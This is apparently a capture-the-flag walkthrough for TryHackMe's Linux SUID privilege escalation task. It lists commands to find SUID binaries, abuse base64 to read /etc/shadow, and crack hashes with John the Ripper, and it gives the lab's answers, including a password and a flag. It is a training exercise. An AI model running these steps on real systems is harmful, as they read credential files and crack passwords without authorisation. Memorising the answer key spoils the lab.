TryHackMe - Linux Privilege Escalation: SUID

TryHackMe - Linux Privilege Escalation: SUID

This article discusses the solution for TryHackMe's Linux Privilege Escalation SUID task so proceed with caution.

I would suggest that you try to solve it on your own as you will learn a lot in the process of attempting. Try to give it your all until you feel that you are really hopelessly stuck.

Privilege Escalation SUID Solution

Which user shares the name of a great comic book writer?

  1. Execute cat /etc/passwd/

Answer: gerryconway

What is the password of user2?

  1. Type find / -type f -perm -04000 -ls 2>/dev/null to list files that have SUID or SGID bits set.

  2. Go to to get list of appliations exploitable when SUID bit is set.

  3. Can see that base64 is exploitable and we can escalate privileges using SUID.

  4. Using the guide that gtfobins gave us we execute the following:

     base64 "$LFILE" | base64 --decode
  5. Create a local file passwd.txt and shadow.txt and copy the content from the target machine.

  6. Unshadow the files:

    unshadow passwd.txt shadow.txt > passwords.txt

  7. Run john the ripper on passwords.txt

john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt

Answer: Password1

What is the content of the flag3.txt file?

  1. Let's first check the home directory for the flag3.txt file.

  2. Let's run the command agin provided by GTFO.

   base64 "$LFILE" | base64 --decode

Answer: THM-3847834

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